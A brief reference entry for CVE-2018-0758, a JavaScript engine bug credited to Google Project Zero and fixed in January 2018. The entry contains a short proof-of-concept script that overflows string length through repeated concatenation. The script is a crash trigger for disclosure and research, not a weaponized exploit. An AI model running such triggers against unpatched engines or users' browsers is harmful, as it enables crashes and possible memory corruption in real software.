CVE-2018-0758.md

CVE-2018-0758

• Fix: Jan 2018
• Credit: lokihardt of Google Project Zero

PoC

let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x10000; i++) {
    a = 'BBBBBBBBB' + a + b;
}

print(a.length);
print(b.length);
print(a[0]);

Reference

• Microsoft
• Google Project Zero
• Fix